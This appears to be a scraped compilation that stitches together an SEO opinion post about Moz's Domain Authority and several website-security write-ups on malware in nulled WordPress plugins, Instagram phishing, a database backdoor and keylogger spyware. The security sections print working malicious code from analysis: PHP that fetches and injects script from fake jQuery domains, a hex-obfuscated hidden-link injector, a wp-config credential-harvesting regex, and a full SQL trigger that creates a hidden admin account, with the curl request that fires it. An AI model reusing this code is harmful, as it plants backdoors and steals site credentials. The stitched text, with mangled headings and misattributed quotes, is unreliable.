Is DA totally worthless for rank your website right?

Is DA totally worthless for rank your website right? – There was an interesting thread on Twitter about DA, Moz’s domain authority metrics. In short, a blogger named Chloë wanted advice on getting her blog’s “domain authority up.”

John Mueller of Google made a joke that DA is not important and Google doesn’t use it but she came back and wrote “it is the most important metric for brands, it’s the first thing they ask for, and if it’s high enough they ask for your stats.”

To be clear, Chloë and many bloggers in her position do understand that paid links should be nofollowed, and they understand how SEO works. The issue is with the brands they work with use DA as a metric for these types of things and it puts the bloggers in a position they should not be put in.

The truth is, this metric is only important to brands because these brands mistakenly think and believe that Google on some level values domain authority. In fact, most of these brands think DA is a Google metric and you and I know it is not. Even if you think DA is a good comparison to Google’s PageRank, does that even matter these days?

The truth is, not only is it a mistake to think Google uses or values DA, but it is very harmful to the brand and the publisher to think this way. Why? Because the only reason this is valued at all is for the purpose of paying for links, which is directly against Google’s webmaster guidelines. Let’s dig in…

Here is the tweet:

@chlodoeslife : I really want to get my domain authority up. I’ve been working on it hard for quite some time now and it’s just stuck Persevering face Anyone got any blog posts or pro tips on this? I feel like I’ve tried everything already .Anyone got any blog posts or pro tips on this? I feel like I’ve tried everything already

Here is the responses from John:

Truth is, the whole thing around this makes me sad. It makes me sad that (a) bloggers are chasing down ways to improve their DA (b) when Google doesn’t even use DA and (c) when the only purpose around getting higher DA is to get a do follow link (d) which is against Google’s webmaster guidelines anyway. It is just so circular and backwards and even more so, it is like I am trying to educate the wider SEO space about the flawed logic here and of course, this is a niche blog, so they don’t see it.

The whole thing just makes me sad – we are focused on DA and not building out sites that Google wants to rank higher in the long term.Stop it with DA – if you get an email about DA, tell them DA doesn’t matter and do it over and over again until it stops.

Stop Using SEO Spam Links in Nulled Plugins Worthless

Stop Using SEO Spam Links in Nulled Plugins Worthless : It’s not unusual to see website owners running things on a budget. Choosing a safe and reliable hosting company, buying a nice domain name, boosting posts on social media, and ranking on search engines — all this costs a lot of money. At the end of the day, some site owners may even choose to cut expenses by installing pirated (or nulled) software on their websites.

Fake jQuery Scripts in Nulled WordPress Plugins

We recently investigated some random redirects on a WordPress website that would only happen to certain visitors. Traffic analysis showed us that it was not a server-side redirect, rather it happened due to some script loaded by the web pages.

A quick look through the HTML code revealed this script:

Fake jQuery script injection
Fake jQuery script injection
It was very suspicious for a few reasons:

www . wpquery . org/jquery.js — it’s definitely not a real jQuery domain and WordPress comes with prepackaged version of jquery.js so there’s no need to link to it on some third party site.

The script inclusion is random. It only happens if the current time value (in milliseconds) is even:
if (now%2 == 0)
It includes either jquery.min.js or jquery.js based on whether the current request has a referrer or not. That just doesn’t make sense.
Wp_func_jquery Function
This script was placed in the section between other scripts, so it was most likely injected by a wp_head hook in a theme or plugin. A quick search revealed the Ultimate_VC_Addons plugin that contained this code:

if(!function_exists(‘wp_func_jquery’)) {
function wp_func_jquery() {
$host = ‘https://’;
$library = ‘/jquery-1.6.3.min.js’;
echo(wp_remote_retrieve_body(wp_remote_get($host.’jquery’.’libs .org’.$library)));
}
if(rand(1,2) == 1) {
add_action(‘wp_footer’, ‘wp_func_jquery’);
}
else {
add_action(‘wp_head’, ‘wp_func_jquery’);
}
}
As you can see, this wp_func_jquery function tries to highlight benign strings such as “jquery-1.6.3.min.js“, “jquery“, “libs.org” and make it less obvious that it injects the content from hxxp:// jquerylibs . org/jquery-1.6.3.min.js into web pages. Moreover, you can see that this function is used randomly either in the header or footer of WordPress pages.

When I checked that hxxp:// jquerylibs . org/jquery-1.6.3.min.js URL, I found the www . wpquery . org script that you see at the top of this post. Bingo!

Fake jQuery Domains
Further analysis showed that wpquery .org and jquerylibs.org are not the only fake jQuery domains used in this attack. We identified the following 8 malicious domains on 2 servers.

On 176 .9 .91 .14 (Germany Nuremberg Hetzner Online Ag)

jquerylibs . org — Created on June 2, 2014
uijquery . org — Created on July 10, 2014
ujquery . org — Created on November 5, 2014
cjquery . org — Created on January 16, 2015
ejquery . org — Created on February 28, 2015
On 62 .210 .149 .60 (France Paris Online S.a.s.)

wpstat . org — Created on 2015-04-05
wplibs . org — Created on 2015-04-05
wpquery . org — Created on 2015-04-05
Malware Evolution
In this section we will show you how the attack evolved over time.

Initially the attackers used the same domains both in the PHP code and in the injected JS code. The earlier versions of the malicious script looked like this:

They continued to introduce new fake jQuery domains every few months when they began experiencing problems (e.g. blacklists) with their current domains.

Then, in April, they changed their tactics, and decided to reuse old domain in the PHP code (which is not publicly visible) but created a few new fake domains on another server for the publicly visible JS injection.

You can also see how it evolved by the way they obfuscated those domains in the PHP code:

//direct call with string concatenation …
echo(wp_remote_retrieve_body(wp_remote_get($host.’ui’.’jquery.org/jquery-1.6.3.min.js’)));

//checking headers first…
$jquery = $host.’u’.’jquery.org/jquery-1.6.3.min.js’;
$headers = get_headers($jquery, 0);
if ($headers[0] == ‘HTTP/1.1 200 OK’){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}

//It’s not always jquery-1.6.3.min.js, on on cjquery . org it is jquery-ui.js
$jquery = $host.’c’.’jquery.org/jquery-ui.js’;

//using the library var in concatenation…
$host = ‘https://’;
$library = ‘/jquery-1.6.3.min.js’;
echo(wp_remote_retrieve_body(wp_remote_get($host.’jquery’.’libs.org’.$library)));
With time, they also added some randomness to both the PHP code and the JS to make it harder to detect the script. Initially, they only injected the script in the footer sections, but in more recent versions, it can be either in the header or in the footer:

if(rand(1,2) == 1) {
add_action(‘wp_footer’, ‘wp_func_jquery’);
}
else {
add_action(‘wp_head’, ‘wp_func_jquery’);
}
And the remote script is now injected with the 50% probability.

var now = new Date().getTime(); if (now%2 == 0) {
… remote script injection here …
}
Redirections
If you try to open the malicious scripts in your browser, many of you will not see anything, but it doesn’t mean they are benign. The headers of the .js responses show that they are being served by PHP engine rather than as a static content, so their content may change at any moment for the users they are really interested in. At this time, we know that the scripts may redirect some visitors to hxxp: / / lock . page-request . com/mobile/m.html, which redirects desktop users further to hxxp://online-news . us/work-from-home-report/ and mobile users to URLs like these:

hxxp:/ /link .clickdirected .com/tracking202/redirect/dl.php?t202id=553&t202kw=
hxxp:/ /bangkokboy .791 .a .clickbetter .com
Infection Vector
In all cases we see the malicious code is injected into legitimate premium plugins and themes that are then distributed on untrustworthy sites. If you Google the phrase [wp_func_jquery], you’ll find a few forum threads where people find this malicious code inside the so-called “nulled” packages of various plugins. This infection vector is quite popular in the WordPress world and we have blogged about the threats of using pirated software on your websites before.

Most specialized websites that offer “nulled” software exist because they inject backdoors, malware and black-hat SEO spam into the pirated software they offer. This is not a WordPress specific problem. The same applies to “nulled” extensions, templates, etc. for Joomla!, Drupal and other CMS. We recommend reading a great write-up (by Fox-IT) of the CryptoPHP malware whose main distribution channel is “nulled” plugins and extensions.

This is just another warning to website owners to stay away from third-party software that comes from shady sources.

Nulled WordPress Themes: Malvertising and Black Hat SEO

If you have been following our blog for some time, you know that we regularly warn about risks associated with the use of third-party software on your site. A benign plugin may sneakingly inject ads into your site which cause malvertising problems for the site visitors (e.g. SweetCaptcha). Other plugins may be hijacked by hackers or black hat freelancers too (remember the epic story of Wooranker?). Another common issue is the use of so-called “nulled” premium themes and plugins that usually come with backdoors, hidden links, unwanted ads and even pure malware (e.g CryptoPHP or fake jquery scripts).

This time I’ll tell you one more story that combines all the above mentioned problems: nulled plugins, black hat SEO, malvertising, and a software development company that turned to the dark side.

Suspicious gma_footer Code
Recently the lead of our remediation team, Bruno Zanelato, cleaned a site and found this piece of code in one premium WordPress plugin:

Suspicious gma_footer code
Suspicious gma_footer code
The encrypted part decodes to hxxp://cdn .gomafia[.]com. As you might expect, he investigated what’s going on there.

That gma_footer function was hooked to the wp_footer action. As a result, the code fetched from cdn.gomafia[.]com was injected into the footer of every site page. So what exactly is being injected?

Injected cdn.gomafia code
Injected cdn.gomafia code
The injected code vary by using different keywords or sets of ad script, but you can always see these three main parts:

Ad scripts from eclkmpsa[.]com/adServe/banners?tid=131711_225710_0&tagid=2, www .tradeadexchange[.]com/a/display.php?r=1219598 and cdn.popcash[.]net/pop.js
Invisible spammy links that at the moment point to gomafia[.]com and some other Indian sites (including one porn site)
Google Analytics code with the UA-5133396-16 id

Malvertising
Running someone else’s ads on your site is probably not what you expect when you install a plugin. The thing is, you might not even see them when you browse your own site. These particular scripts are configured to show popups only when visitors spend some time on a site and perform some action there. For example, scroll the page or click something.

The ads they show in popups are of quite questionable quality – gambling, scams, and even malicious downloads like this:

Fake HD Video Player
Fake HD Video Player
The downloaded HDVideoPlayer_2403439173.exe was detected as malicious by 13 antivirus products.

Hidden Links
Following the ad scripts, you can see a block of spammy links that point to gomafia[.]com and three more sites. The links are not visible on infected web pages because of this tag:

The GMA style is not defined in the injected HTML part, so how does it work? Let’s get back to the PHP code we found in the plugin. In addition to the gma_footer, it also defines this gma_styles function (used in the wp_enqueue_scripts hook):

function gma_styles () {
wp_enqueue_style( ‘gomafia’, plugin_dir_url(FILE) .’gma.css’);
}

We can see how this code makes WordPress include the gma.css stylesheet file from the plugin’s directory on every page. And here’s the content of that file:

.GMA { display: none; }

Now it’s clear what makes the links invisible.

Google Analytics
In addition to ads and spammy links, the malware injects a Google Analytics code with the UA-5133396-16 user ID to every infected web page (it is possible to use multiple tracking codes on the same web page). It allows the spammers to track their campaign. This may help see the overall page views with their injected ads across all the infected sites.

Google Analytics tracking code may also help verify themselves as the owners of the infected sites in Google Search Console. We have no information whether the attackers actually tried to do it but we can’t discard this possibility since some other black hat SEO attacks did verify themselves as owners of the infected sites in the Search Console.

What GoMafia Anyway?
When we found the malicious code in the plugin, the first question was whether it was a part of the real plugin or injected by hackers. Since it was a premium plugin, it was hard to obtain its original source code. Moreover, premium plugins rarely (if ever) resort to such tricks — their developers monetize their work directly by selling their plugins.

The answer to the question about the origin of the malicious code became obvious when we opened the GoMafia[.]com site. This site is a collection of “nulled” premium themes and plugins, mainly from CodeCanyon.

To verify our hypothesis, we downloaded a few themes and plugins from that site. All of them contained the gma_footer code that injected the content of the hxxp://cdn.gomafia[.]com page into web pages of sites that install them.

It’s worth adding that the GoMafia[.]com site also uses the same ad scripts that create annoying (and usually malicious) popups and popunders. Moreover, their download links use adf[.]ly interstitial pages that show ads before redirecting to the actual download page. This service shares ad revenue with users who send traffic to their interstitial pages. Not only are such pages annoying, but a significant share of their ads consist of pure scams and malware downloads. For example, the first time I clicked on the adf[.]ly link my browser began downloading the fasttorrent.exe file (Detection ratio: 20 / 56 on Virustotal).

Digging Deeper
If we dig a bit deeper, we can reveal some other interesting details about the people behind this GoMafia black hat campaign.

WHOIS records show that the gomafia[.]com domain was registered just a couple of months ago on March 8, 2016 by Viji Sathish from Tamil Nadu state in India. If we check WHOIS data for the other three domains that we see in the block of spammy links, we’ll notice that they all have absolutely the same registration address, but registered by “Sathishkumar M“.

The oldest one (metaskapes[.]com) was registered back in 2009 and the newest one (coupontwit[.]com) was registered just two months ago. So despite the fact that the four sites in the spammy link block look different at first glance (nulled software, interior design, coupons and porn) they all belong to the same people and GoMafia injects that block of links to third-party websites to promote their own resources, not third-party sites.

Let’s see what else is common between these four sites.

They all use the same ID for Google Analytics: UA-5133396-x (where x changes from site to site), which also proves that they are all controlled by the same people.

One more piece of the puzzle can be found if you check the email addresses specified in the WHOIS data. All the emails are different (sathish.5566(at)gmail .com, sathish(at)kenzest .com, viji(at)kenzest .com), but they show us that:

Sathishkumar M and Viji Sathish is probably the same person.
He has something to do with kenzest[.]com site, since he has two different accounts on that private domain.
Moreover, kenzest[.]com and coupontwit[.]com (one of the spammy links) are hosted on the same server 192 .185 .21 .192. The rest of the sites (including gomafia[.]com) are behind the CloudFlare firewall so it’s hard to tell their real IPs. But if we change the IP address of gomafia[.]com to 192 .185 .21 .192 in our /etc/hosts file, we’ll see that the GoMafia site is also hosted on the same server as kenzest[.]com.

Kenzest .Com
Kenzest[.]com is a site of an Indian company that describes itself as a “group of Computer Engineers who have learned to provide solutions that work, to our customers“.

On the contact page we find the same address and phone number as in the gomafia[.]com whois record. Moreover, it says that the phone number belongs to Sathish! With a bit of Googling we can even find that Sathish Kumar M of Kenzest. Here’s his article and photo back from 2010. Apparently back then, Sathish still tried to find good application to his software development skills.

Most likely their white hat business wasn’t that successful and they eventually began to explore the dark side of the Internet Marketing: porn, intrusive ads, black hat SEO, software piracy and abuse of third-party sites.

dark-side

In addition to software development, Kenzest Technologies also provides SEO services. This is a quote from their site:

Our keyword research team at Kenzest specializes in SEO. Our SEO services makes the site highly superior to all other 24,930,000,000 .coms found on the internet.

I gather, GoMafia[.]com is just a part of their SEO strategy:

Have as many sites as possible install their nulled plugins.
As a proof-of-concept, inject links to their own sites and track their progress in search results.
Once they reach a certain level on infected sites and find paying clients interested in their SEO services, they can replaces their own links with their client links. It’s easy – all they need to do is change the contents of their own cdn.gomafia[.]com page.
Meanwhile, they are trying to monetize their GoMafia project with ads (intrusive and usually malicious): on their sites, in download links, and on the sites they infect.

Given the decisions they have made so far, they can easily replace the hidden links and ads on cdn.gomafia[.]com with more dangerous types of malware if they figure out how to monetize it. Or, they will put backdoors and malware directly in the nulled plugins like many other similar sites do.

“Free” vs Free
This story once again demonstrates to us why it’s always a bad idea to install “free” premium software on your website and what makes people offer such “nulled” themes and plugins for “free”. It’s just a criminal business model where instead of paying directly to the software developers, you are paying to criminals by giving them a chance to abuse your site and your site visitors.

Actually, every third-party component that you install on your site can potentially cause security issues such as backdoors, malware, spam, or just vulnerabilities that can be exploited by hackers. Whenever you install something, you should ask yourself these questions:

Does my site really need this software?

Can I trust the developer?
Can I trust the source where I obtained this software from?
Will I be able to get timely security updates in case of found vulnerabilities?
To minimize risks, use popular free software from official repositories like Plugin Directory or Theme Directory. Every day, many people download and test software there. Any security problems are being revealed quite fast. Another option is to purchase premium software directly from their developers, or official distributors. This way you support the developers and ensure that you get the original software that wasn’t tampered with.

Fake Instagram Verification

Across various social media platforms there are verification checkmark symbols that appear near the name of the account’s page we view. For example, this verified account indicator seen from our Twitter page:

These verification checkmarks exist as a credibility indicator to help show authenticity and integrity to social media page visitors.

In order to obtain these checkmark symbols, page owners must meet a list of various requirements and undergo a verification process with their social media provider.

The Quest for Instagram Verification Checkmarks
These strong requirements also lead to a sort of exclusivity around the verification checkmark.

Reportedly only 1% of Instagram users have undergone the verification process. Instagram’s explosion in popularity, along with the exclusivity of the verification checkmark, has led to verification being highly desirable for many users, though this sentiment exists on other social media platforms like Twitter.

I want to be verified on Instagram. I crave that blue check next to my name. Why? Basically because none of my friends are verified, so the verification will prove I’m better than them; which I always suspected.

– A joke by the writer, which showcases the desire many users have for being verified

While the majority of users may want the verification symbol for bragging rights, having the symbol can also help monetize a social media page. This is driving some users to pursue any way possible to obtain the coveted verification checkmark for their profiles.

A Phishing Campaign for Instagram Users
When combined, all of these factors can lead someone to ignore the warning signs and fall victim to phishing attempts. We recently came across this page, which masquerades as a real Instagram Verification submission page:

Verified Instagram Phishing Page

After clicking Apply Now, it begins a series of phishing forms on the phishing domain instagramforbusiness[.]info. This form targets the victim’s Instagram login information and then asks them to confirm their email address…by asking for their email address and password credentials.

Instagram Email Confirmation Phishing

After submitting each form, the login information is sent via email to the hackers. This provides them with unauthorized access to the victim’s social media page. Instagram employs fingerprinting and a variety of other methods to determine suspicious account logins. If detected, they lock down the account with a “Suspicious Login Attempt” warning.

In order to avoid this account lockdown, attackers need one of two things: access to the phone number used to register the account (if applicable as Instagram doesn’t require a phone number for signup) or access to the email address associated with the profile.

This explains why hackers also target associated email login information on this phishing page. It allows them to reset and verify ownership of the phished Instagram account should the “Suspicious Login Attempt” warning be triggered.

Looking for Signs of a Phishing Campaign
Don’t let your situational awareness be lowered by the promise of an exclusive item or status. There were a number of clear signs that this page was malicious:

The domain name is clearly not instagram.com.
A lack of HTTPS results in insecure warnings in visitor’s browsers. Large websites like Instagram typically display HTTPS, especially when handling login information and other sensitive information.
Instagram will never ask for a linked email account’s password as confirmation. It will use the standard method of sending an email with a verification link for you to click.
Conclusion
The lure of a social media verification checkmark symbol works great to entice unsuspecting victims. This is similar to the lure of “free” (i.e nulled, cracked) products, like premium WordPress plugins or themes.

As a rule of thumb, you should always verify the links you are clicking on and ensure that you are only submitting personal information on legitimate websites. Malicious users are actively looking for a chance to deceive their victims with phishing campaigns. If you are looking for a website security solution, we will be happy to help you.

Unfortunately, as discussed in some of our earlier posts about free software and fake verification, these “free” components may still come with a hefty price tag. The same people who remove the plugin’s or theme’s license checks may have also added some other form of monetization — and most times, the end result is not desirable.

Injection in Smart Grid Gallery Plugin
This time, we identified malicious code injected within the Smart Grid Gallery plugin. The malicious code, which was found injected into the SmartGridGalleryClass.php file, didn’t even try to be discreet.

Seen below, the injection consisted of two long hex encoded strings and an ironic sorry_function.

if( ! function_exists(‘sorry_function’)){
function sorry_function($content) {
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){
$vNd25 = “\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76”;
$zoyBE = “\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76”;
$fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }}
add_filter(‘the_content’, ‘sorry_function’);}
Hidden Divs Boost SEO Rankings
Once decoded, the real intention becomes apparent. It adds a hidden div which links to other two websites — probably related to the same person who nulled the plugin — in an attempt to increase their SEO rankings:

<?php
if (!function_exists(‘sorry_function’))
{
function sorry_function($content)
{
if (is_user_logged_in())
{
return $content;
}
else
{
if (is_page() || is_single())
{
$vNd25 = ‘”Want create site? Find Free WordPress Themes and plugins.”‘;
$zoyBE = ‘”Did you find apk for android? You can find new>Free Android Games and apps.”‘;
Evasive Maneuvers & Sources
This injection leverages a WordPress function called add_filter which “allows plugins to modify various types of internal data at runtime.”

In this case, the malicious code combines the site’s valid content with two hidden divs. To avoid detection, specific conditions must be met to add the divs to the site: When there are no users are logged in to the website, only then can the malicious injection be added into pages or posts.

Upon further investigation, we identified that the installed plugin was a nulled version and had been downloaded from the free themes website hxxps://www[.]downloadfreethemes[.]co/smart-grid-gallery-v1-4-0-responsive-wordpress-gallery-plugin/. We were able to download the same plugin with the same injection, however, there is no reference to this site in the code.

Now, regarding the websites referenced in the malicious injection — dlwordpress[.]com and dlandroid24[.]com — were clearly fake sites used to increase SEO rankings and make money on referral programs for other websites. Using PublicWWW during the writing of this article, dlwordpress was injected on 7,040 sites and dlandroid24 was found on 6,262 sites. Using Majestic we found dlwordpress on 5,000 sites, which is the limit for our account there.

In conclusion, site owners should always avoid installing nulled themes/plugins from any source. A large majority of nulled software contains malicious backdoors or SEO spam injections, which can pose serious security risks to your website’s visitors and environment. You can also audit existing plugins to make sure any nulled software has not been installed on the WordPress environment.

Update: As of Jan 5, 2021, the website dlwordpress[.]com has switched owners and no longer seems to be involved in the Blackhat SEO campaign. It is important to note that Blackhat SEO campaigns can have long-lasting impacts for webmasters, since many sites still send unauthorized backlinks to the domain.

What is SQL Triggers in Website Backdoors

What is SQL Triggers in Website Backdoors -Over the past year, there’s been an increasing trend of WordPress malware using SQL triggers to hide malicious SQL queries within compromised databases. These queries inject an admin level user into the infected database whenever the trigger condition is met.

What makes this especially problematic for website owners is that most malware cleanup guides focus on the website files and data within specific database tables — for example, wp_users, wp_options, and wp_posts.

MySQL & Your Website
If you use a popular CMS on your website (like WordPress), then it’s likely using a MySQL database for storing important data like CMS settings and content (e.g WordPress posts). This means that anything that can modify the MySQL database can also cause serious damage to the website, like injecting malicious content or even deleting your website’s content altogether.

This security risk is one of the reasons that the MySQL database has its own separate username and password assigned to it (see wp-config.php file) — this feature prevents someone from remotely querying your MySQL database without the appropriate login information.

/** The name of the database for WordPress */
define(‘DB_NAME’, ‘database_name_here’);

/** MySQL database username */
define(‘DB_USER’, ‘username_here’);

/** MySQL database password */
define(‘DB_PASSWORD’, ‘password_here’);

/** The name of the database for WordPress */
define(‘DB_NAME’, ‘database_name_here’);

/** MySQL database username */
define(‘DB_USER’, ‘username_here’);

/** MySQL database password */
define(‘DB_PASSWORD’, ‘password_here’);

/** MySQL hostname */
define(‘DB_HOST’, ‘localhost’);
Since WordPress has access to the login information through wp-config.php, it’s able to read and make changes to the database defined within the configuration file.

Unfortunately, after attackers obtain unauthenticated access they can often read the wp-config.php file to learn the login information for the website’s database — which can then be used by the attacker’s malware to connect to the database and make malicious changes.

PHP Used to Obtain MySQL Login Credentials
The PHP code below is used to grab the MySQL login information from any discovered wp-config.php files.

$wpConfigString = file_get_contents($wpConfigPath);

//preg_match_all(“~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)’,\s+'(.+)’\s);~”, $wpConfigString, $dbhost); preg_match_all(“~^define.(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\’\”],\s+\’\”[\’\”]\s*);~m”, $wpConfigString, $dbhost);
preg_match(“~table_prefix\s+=\s+'(.+)’;~”, $wpConfigString, $prefix);

$dbname = $dbhost[2][0];
$dbuser = $dbhost[2][1];
$dbpassword = $dbhost[2][2];
$dbhostaddr = $dbhost[2][3];
$dbprefix = $prefix[1];
It accomplishes this by using preg_match_all which allows the attacker use regular expressions to store the desired data from wp-config.php into the array variables $dbhost and $prefix, which are then split up into different variables like $dbname, $dbuser, $dbpassword, etc.

A real life example would be an attacker that has already obtained unauthorized access to a website and wants to create a persistent backdoor in the event that the website files be cleaned.

One method used by attackers is to create an admin level user in the website’s CMS database. These can often be easily spotted from the admin dashboard or a SQL client:

Code Snippet

The malicious admin user serves as a backdoor that exists outside of the website’s files and inside its database instead. This detail is important, as many times the database can be overlooked by owners cleaning an infected website. However, removing suspicious users from your website’s database doesn’t mean that all possible backdoors have been removed.

SQL Triggers
A SQL trigger is a stored procedure that automatically runs when specific changes are made to the database.

While they have many useful applications, we also have evidence that SQL triggers are used by bad actors to maintain unauthorized access after a compromise. To accomplish this, attackers inject a SQL trigger into a compromised website’s database and when specific criteria is met or an event occurs, the malicious stored action is run.

For example, we found this interesting backdoor SQL trigger in the wp_comments table on an infected website’s database:

Trigger: after_insert_comment
Event: INSERT
Table: wp_comments
Statement: BEGIN
IF NEW.comment_content LIKE ‘%are you struggling to get comments on your blog?%’ THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM wordpress.wp_users);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO wordpress.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, ‘wpadmin’, ‘$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1’, ‘wpadmin’, ‘wp-security@hotmail.com’, ‘https://wordpress.com’, ‘2014-06-08 00:00:00’, ”, ‘0’, ‘Kris’);
INSERT INTO wordpress.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, ‘wp_capabilities’, ‘a:1:{s:13:”administrator”;s:1:”1″;}’);
INSERT INTO wordpress.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, ‘wp_user_level’, ’10’);
END IF;
This SQL trigger creates a malicious admin user whenever a new comment containing the code words ‘are you struggling to get comments on your blog?’ is submitted on the infected WordPress website.

The trigger checks the comment_content column in the wp_comments database, so it doesn’t matter if the comment is approved or pending. Once the SQL trigger is active, it inserts a malicious admin user wpadmin with the forged registration date 2014-06-08 and email address wp-security@hotmail[.]com.

wp_users BEFORE COMMENT TRIGGERS THE BACKDOOR USER INJECTION:

mysql -u root -p -e ‘select * from wp_users \G’ wordpress

Enter password:
* 1. row *
ID: 1
user_login: admin
user_pass: $P$BYYwDW50tCcCkb01qXVQKRbH5.TEs9/
user_nicename: admin
user_email: luke@lukeleal.com
user_url:
user_registered: 2019-12-06 06:34:37
user_activation_key:
user_status: 0
display_name: admin
WORDPRESS TRIGGER COMMENT SUBMITTED USING CURL:

curl ‘https://localhost/wp-comments-post.php’ -H ‘User-Agent: Netscape’ -H ‘Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8′ -H ‘Content-Type: application/x-www-form-urlencoded’ -H ‘Referer: https://localhost/index.php/2019/12/06/hello-world/’ –data-raw ‘comment=are+you+struggling+to+get+comments+on+your+blog%3F&author=John&email=nope%40nope.com&url=&submit=Post+Comment&comment_post_ID=1&comment_parent=0’

CONFIRMING TRIGGER COMMENT CREATED BACKDOOR USER wpadmin:

mysql -u root -p -e ‘select * from wp_users where user_login like ‘wpadmin’ \G” wordpress

Enter password:
* 1. row *
ID: 2
user_login: wpadmin
user_pass: $1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1
user_nicename: wpadmin
user_email: wp-security@hotmail.com
user_url: https://wordpress.com
user_registered: 2014-06-08 00:00:00
user_activation_key:
user_status: 0
display_name: Kris
Conclusion & Mitigation Steps

When a website has been compromised, you can bet attackers will be on the lookout for any database credentials found in wp-config or other CMS configuration files — and it can be incredibly difficult to identify if the hacker has harvested this information at any point post-infection.

If a compromise does occur, you should update passwords across your entire environment, including your databases. Neglecting this post-hack step may result in an attacker accessing and modifying your site even after you thought you had cleaned up the infection.

Website owners who’ve experienced a compromise can refer to our guide on how to clean a hacked website for steps to clean up the infection. If you need a hand, we can help clean up any malware and backdoors and secure your site.

Trojan Spyware on Business Email Company Attacks

Trojan Spyware on Business Email Company Attacks : When it comes to an organization’s security, business email compromise (BEC) attacks are a big problem. One primary reason impacts are so significant is that attacks often use a human victim to authorize a fraudulent transaction to bypass existing security controls that would normally be used to prevent fraud. Another reason is that social engineering lures may be expertly crafted by the attacker after they have been monitoring a victim’s activity for some time, resulting in more effective phishing campaigns with serious security implications.

Earlier this year, we were cleaning an infected website when we found an interesting directory named ./webpanel/. Within the directory was a hosted control panel interface used to manage devices infected with a trojan malware variant.

Command & Control (C2) Panels and C2 Servers
Oftentimes when an attacker has infected multiple devices (e.g infected Windows computers), they will use what is known as a C2 server to host a control panel interface to remotely manage the infected devices from a centralized location. These interfaces are very convenient for the attacker, since they only have to visit the C2 server’s URL to control malware on the infected devices instead of individually for each infected device.

C2 server panel collecting sensitive data from infected devices that are listed by hardware ID
C2 server panel collecting sensitive data from infected devices that are listed by hardware ID
To set up the interface, attackers usually gain unauthorized access to a legitimate website, upload their C2 control panel interface, then “hide” it in a few levels of directories. This allows them to use an existing domain name and hosting server instead of fraudulently using someone else’s payment information to sign up for those services, significantly reducing effort on their end.

Trojan Spyware: Origin Logger
The C2 panel interface matches the same panel that is used for the malware Origin Logger, which is bundled with the C2 panel and then sold to attackers. As the name suggests, its primary purpose is logging keystrokes, clipboard data, HTTP cookies, taking periodic screenshots, and viewing the webcam of infected computers.

The creators even took the time to create marketing material for their Origin Logger malware:

Origin Logger

Origin Logger 1

Shadowing
When a device is infected with the Origin Logger malware, it becomes easy for an attacker to familiarize themselves with an employee’s sensitive information, including schedules and communications. For industries that use expensive equipment or large orders, this intel can create a plethora of opportunities for the attacker.

For example, during our investigation we found that one of the monitored infected devices was assigned to an oil field services supervisor. The attacker probably already knew that expensive, large, and hard-to-transport equipment is used on active oil fields, but they needed more specific information to craft a personalized phishing campaign.

The Origin Logger malware provided additional information to the attacker by taking a screenshot as the supervisor writes an email to management:

Prime issue email

As shown in the above image, the email text is about a piece of equipment called a “prime mover” (heavy utility truck) that needs to be replaced/repaired. Operations could be disrupted if they don’t have the equipment to do their jobs, so this could be an opportunity for the attacker to craft a BEC email asking for payment for a “prime mover” truck.

And to avoid suspicion when asking for payments to be routed to a new or unfamiliar bank account, the attacker can simply create a sense of urgency by saying it was ordered quickly to avoid service disruptions or some other similar excuse.

Astra utility truck used by oil field service companies
Astra utility truck used by oil field service companies
Attempted BEC
What’s especially interesting is that it seems that the attacker infected his own device, possibly for testing or troubleshooting purposes, but never actually removed the malware — so screenshots of their own device were also being sent back to the C2 server! This is a big failure in their operational security as it gives us direct insight into some of the attacker’s tactics and operation.

The following screenshot shows us a BEC email originally titled REQUEST FOR PAYMENT in the Sent folder. The email contents include a request for payment to the bank details provided in the attachment. Payments are for two invoices — together they total over $52,000 USD, so it is easy to see why attackers find it worthwhile to infect devices and monitor them for BEC opportunities.

GoDaddy

And how do we know it is the attacker? We also found a screenshot of their Discord chat with a fellow attacker, where they discuss losing access to the C2 panel due to someone (likely the website owner) deleting files.

discordapp.com

